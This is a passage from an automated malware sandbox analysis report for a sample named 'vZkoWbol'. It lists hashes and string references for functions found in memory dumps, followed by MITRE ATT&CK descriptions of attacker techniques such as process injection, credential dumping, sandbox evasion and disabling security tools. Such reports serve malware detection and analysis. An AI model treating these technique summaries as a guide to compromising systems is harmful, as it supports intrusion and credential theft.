Opcode Fuzzy Hash: 7adb7aac96cfdce39a44ea0808629c3c473f796888a97cf772dcc325f4a13526
Instruction Fuzzy Hash: 71213471604204DFCB05CFA8D5C0B26BFA9FB94318F20C56DE90A1B396C77AF406CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0134D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4524608361.000000000134D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0134D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_134d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9858c9a5f399f80cf33d95b3a1154e417385b7234f67d08d141ee9f35d7d2111
Instruction ID: 4c11443ca256e252d78213615befcd74b51d5947fe3235127446bc26b8f7214c
Opcode Fuzzy Hash: 9858c9a5f399f80cf33d95b3a1154e417385b7234f67d08d141ee9f35d7d2111
Instruction Fuzzy Hash: 92213771504204DFCB15CF68C9C4B26BBE5FB98318F20C56DE9490B352C77AE446CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0134D20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4524608361.000000000134D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0134D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_134d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353c549473ae65836fb0ae98868b0d4409ab9fcce22639138123747724352b96
Instruction ID: 6193810e5af75149837ae217049568df4f3719560031830c0f0e244dcf3979f8
Opcode Fuzzy Hash: 353c549473ae65836fb0ae98868b0d4409ab9fcce22639138123747724352b96
Instruction Fuzzy Hash: 71212671504248DFDB01DF98D5C4B26BBE9FB94338F20C669E9490B746C37AE406CA61

Uniqueness

Uniqueness Score: -1.00%

Function 06D54210 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1071d54c172bd9616be30f2c62a5e9421403e6b831fa91f08c8bf3ea89eb21ed
Instruction ID: 6e23af4c78b40692ec82797da41e71292c5bc0210126a0b2b5fa464b612826ff
Opcode Fuzzy Hash: 1071d54c172bd9616be30f2c62a5e9421403e6b831fa91f08c8bf3ea89eb21ed
Instruction Fuzzy Hash: 2E014530B001205FDF6286BED81476BBBDADBCA325F118439E50EC7750E959DC420392

Uniqueness

Uniqueness Score: -1.00%

Function 06D53BD0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8530d5dc44e8e1be7c1e503189a7a26ed8f569f7448dad9f21c6fee919fca4b9
Instruction ID: 2c1acfef55f7774f1fb21d3ceacc274c4b6329625a6c977f1862cbc69ffaa4c0
Opcode Fuzzy Hash: 8530d5dc44e8e1be7c1e503189a7a26ed8f569f7448dad9f21c6fee919fca4b9
Instruction Fuzzy Hash: 8C11A136B101254BDF449A68C8546AEB3ABEBC8650B028139C80AE7344EE29DC028BD2

Uniqueness

Uniqueness Score: -1.00%

Function 06D5ED69 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01fc67ea64cdda8401848353eccbe18daa48fdc913b9f390937798e1c424cb65
Instruction ID: 373b6fd17b4114a504de05a2aafb503adcbfd4c33b36e6b5eb550e5e1bb240ec
Opcode Fuzzy Hash: 01fc67ea64cdda8401848353eccbe18daa48fdc913b9f390937798e1c424cb65
Instruction Fuzzy Hash: BD01FC31B041101BDF65963E9854B6F7BDADBC6624F15443AF90EC7751DE18DE0243D2

Uniqueness

Uniqueness Score: -1.00%

Function 06D53888 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116d9ac7cc27f890e48c6131a4047b95a666b08a81ab02e04eadfce87e39efdb
Instruction ID: b4ec300abb20465b44e330c25b0f985a48d4153673f963acd76bb68471546a04
Opcode Fuzzy Hash: 116d9ac7cc27f890e48c6131a4047b95a666b08a81ab02e04eadfce87e39efdb
Instruction Fuzzy Hash: AE21E0B5D01259ABCB00DF9AD885ADEFFB8FB49310F10812AE918A7640D374A554CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 06D5A2E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d253f8e41fe7e06b7032a1737579711d1e7714c9b83b0ffd7292c4caf583fec9
Instruction ID: e734428d9fe1a3662130afb8cb9fe63ea822100e42a807ee2c4d114c7bc6e034
Opcode Fuzzy Hash: d253f8e41fe7e06b7032a1737579711d1e7714c9b83b0ffd7292c4caf583fec9
Instruction Fuzzy Hash: A7012430B101210FEF65EBBDE85072E7BD6EFCA645F124529E50ACB3A1EE19DD028381

Uniqueness

Uniqueness Score: -1.00%

Function 0134D3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4524608361.000000000134D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0134D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_134d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 358b8133892900146211b70f372dbe00c0e259a56738d1bf20249dfc3ce7081c
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 7A11DD75504280CFDB02CF64D5C4B15BFA2FB84318F24C6AAD9494B396C33AE40ACFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0134D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4524608361.000000000134D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0134D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_134d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: f3572f0e8a4ab1521e83cf889116cfa8940cd8e6252aa4944c6ef7a261895cdf
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: B811DD75504284CFDB12CF54C9C4B15BFA2FB88318F24C6ADD8494B252C33AE44ACF62

Uniqueness

Uniqueness Score: -1.00%

Function 0134D207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4524608361.000000000134D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0134D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_134d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 26819a50f525d5ed1305b73ba6f34d275c3fd0000d4c5592e913b42e59c34953
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: 5311BF76504284CFDB12CF54D5C4B16FFA1FB84328F24C6AAD8494B656C33AE40ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06D53BBF Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a18e7d0ac7b386801ef0b995d5f95fe47abd4166c1c0da2e5f466dff7d1e09
Instruction ID: 11a14afb8c1d810bcc51031c4bc4e8d449f657c1d7f57de7cd002b68a26e1e81
Opcode Fuzzy Hash: 57a18e7d0ac7b386801ef0b995d5f95fe47abd4166c1c0da2e5f466dff7d1e09
Instruction Fuzzy Hash: EF01F232B140291BDF489AA9DC106BFB7ABDBC8654F16403AC80AE7284EE65CC0247D2

Uniqueness

Uniqueness Score: -1.00%

Function 06D53890 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc5c0f01fc39ad4c20f81c48eebdec720119a4fc3918e7857cb7177b2e5fda3
Instruction ID: 2757e133c35f4241ca289985643b43bea1b93cab91566fffaeececfd719f02d2
Opcode Fuzzy Hash: ecc5c0f01fc39ad4c20f81c48eebdec720119a4fc3918e7857cb7177b2e5fda3
Instruction Fuzzy Hash: 1111A2B5D01259AFCB00DF9AD884ADEFFB4FB49310F50812AE918B7640D374A554CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06D54220 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a689621d020825315e70d20681a03248f0117331b17a6106e9df4d3696053fe5
Instruction ID: bf793e155de5cd4b32f7dc2717269a9239bce5f6a0a092a97366772176a16439
Opcode Fuzzy Hash: a689621d020825315e70d20681a03248f0117331b17a6106e9df4d3696053fe5
Instruction Fuzzy Hash: 1801D131B101214BDF659ABED444B2BB3DBDBC9725F118839E90ECB750EE65DC824382

Uniqueness

Uniqueness Score: -1.00%

Function 06D5ED78 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d063ad9fcd3912b4bb7fd09853ae38e915f68b2f3ef1881fc1b7598998796318
Instruction ID: 09fcc79ee55c04484c6a9d53a35cd6c709525435b484e5000d60cb4ead8d8c65
Opcode Fuzzy Hash: d063ad9fcd3912b4bb7fd09853ae38e915f68b2f3ef1881fc1b7598998796318
Instruction Fuzzy Hash: 8301F431B000110BDF65E67ED454B2EA3DBDBCA625F11883AE90EC7740DE19DD024381

Uniqueness

Uniqueness Score: -1.00%

Function 06D5AF02 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8bdf75aa3d73da6fb1a8dd0ddbca832ef5579bae2fee7b926d51a21d8a0e94e
Instruction ID: bc7ca50123fb4c9d187a76606cc931e4254c1bbcdc481e8e7907f81fbec6ed08
Opcode Fuzzy Hash: a8bdf75aa3d73da6fb1a8dd0ddbca832ef5579bae2fee7b926d51a21d8a0e94e
Instruction Fuzzy Hash: 4B014471E102298BDF20DB68E44079EBBA9EB46324F004A3AF80AEF340D631DC45C781

Uniqueness

Uniqueness Score: -1.00%

Function 06D5A2F8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d161e2a6a2dba059c03cfc86dacedb471d64e9502e9f52c526dbf9de2b9594
Instruction ID: 1bd05e73ec48a198c1d4c6577c11bd45c312cbb27be8d402eeebd9f7ba12e555
Opcode Fuzzy Hash: 35d161e2a6a2dba059c03cfc86dacedb471d64e9502e9f52c526dbf9de2b9594
Instruction Fuzzy Hash: F201F430B100210BEF50EBBDE850B1E73D6EBCA759F118938E50AC7394EE29EC424381

Uniqueness

Uniqueness Score: -1.00%

Function 06D56448 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1b724922d2f90a5890d43845aaa3076546460a6ce10af9de112dfd904e539d4
Instruction ID: ad9016a80e0a63c337b300aa6f56d18d61aa5497f7d1021545ed3d06d74c0f90
Opcode Fuzzy Hash: e1b724922d2f90a5890d43845aaa3076546460a6ce10af9de112dfd904e539d4
Instruction Fuzzy Hash: F6E068B0E0D2C86BDF51CB709C5435A7BBCDB06200F3285E6D808CB552E535CE028362

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06D57680 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06D577BC
$]q, xrefs: 06D57BF3
$]q, xrefs: 06D57B48
$]q, xrefs: 06D57BFD
$]q, xrefs: 06D57BE7
$]q, xrefs: 06D5778B
$]q, xrefs: 06D57797
$]q, xrefs: 06D577C8
$]q, xrefs: 06D57B54
$]q, xrefs: 06D57C09

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 092c63ddc1fea8cc520e57cc7b8a4563e11f94bc87b42604c901a08089c2fe1b
Instruction ID: 9fd7fa108b6883409d645f7e74aa3f95160bdedda2bdb049a24d5e8581f9cbbf
Opcode Fuzzy Hash: 092c63ddc1fea8cc520e57cc7b8a4563e11f94bc87b42604c901a08089c2fe1b
Instruction Fuzzy Hash: 02122B30E00219CFDF68DF69D894AADB7B2FF88704F218569D809AB654DB349D85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06D5A920 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 06D5AA71
$]q, xrefs: 06D5AADE
$]q, xrefs: 06D5AA9C
$]q, xrefs: 06D5AA22
$]q, xrefs: 06D5AA7D
$]q, xrefs: 06D5AA16
$]q, xrefs: 06D5AAD2
$]q, xrefs: 06D5AAA8

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 977454d4d59a18e3d7d4026850f5c9014de1b90825e341ce3a1b9bb35aced33b
Instruction ID: 644c812b93b7a89ea56adf899bea6731cce8798c6062ed3c2437c5c6084756c3
Opcode Fuzzy Hash: 977454d4d59a18e3d7d4026850f5c9014de1b90825e341ce3a1b9bb35aced33b
Instruction Fuzzy Hash: 6991A030A00219DFEF68DF69D680B6E77F6FF84704F198629E841AB650DB789C45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06D57080 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 06D5751C
$]q, xrefs: 06D57588
$]q, xrefs: 06D57594
.5uq, xrefs: 06D570DB
$]q, xrefs: 06D573C8
$]q, xrefs: 06D573BC
$]q, xrefs: 06D57362

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 24be183d9d67952eb21e6d412e09c6125f8e269b03ad7323720278d8fb6a06fe
Instruction ID: e36741318806fd5e22feab6b2ed5554139f62e35030d3fc9fa1571098320d335
Opcode Fuzzy Hash: 24be183d9d67952eb21e6d412e09c6125f8e269b03ad7323720278d8fb6a06fe
Instruction Fuzzy Hash: 8CF15C34A00209CFDB58DFA9D590A6EB7B7FF84344F258469D8159B7A4CB39DC82CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06D5B9E8 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$]q, xrefs: 06D5BBE9
$]q, xrefs: 06D5BB8D
$]q, xrefs: 06D5BB81
$]q, xrefs: 06D5BBF5
$]q, xrefs: 06D5BBB5
$]q, xrefs: 06D5BBC1

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: e6804053e0f5ba99719fef7de68ef0a3438840c4de690dfa01c71153bc5b81f9
Instruction ID: 0acbe2122c5340af315eb7e504a92a19c132f423d73f2f6ee599dd48b6d62e96
Opcode Fuzzy Hash: e6804053e0f5ba99719fef7de68ef0a3438840c4de690dfa01c71153bc5b81f9
Instruction Fuzzy Hash: 87719E30E002098FDF68DFA9D5A0A6DB7F6FF84314F11852AD806EB654DBB4E945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06D583B8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 06D5861E
$]q, xrefs: 06D58612
$]q, xrefs: 06D58683
$]q, xrefs: 06D58677

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 0ab276de552ad736fecf49127e112901c926622f8d66039d19a0d91bfdd55c65
Instruction ID: 2aab17cb79b29d72e265d21c5c30e3c38bdad6a5544ed7b471d87e3bb9ada046
Opcode Fuzzy Hash: 0ab276de552ad736fecf49127e112901c926622f8d66039d19a0d91bfdd55c65
Instruction Fuzzy Hash: 63B14830E002198FDB58DFA9D5906AEB7B6FF84304F258829D806DB754DB39DC86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06D587D0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 06D5884F
LR]q, xrefs: 06D58912
$]q, xrefs: 06D5885B
LR]q, xrefs: 06D588C3

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: bdbb5b8ad7b71a2dda33c9d1b36add8574e628f33794d1020b4807e1817a5c7c
Instruction ID: 61674e74fe7243dcd7186255db4cd2d90b554c95c101e6f8c5030572b981d3f9
Opcode Fuzzy Hash: bdbb5b8ad7b71a2dda33c9d1b36add8574e628f33794d1020b4807e1817a5c7c
Instruction Fuzzy Hash: 6451D130B002159FDB58DF39D980A6ABBF6FF88704F118568E8169B764DB34EC45CB92

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

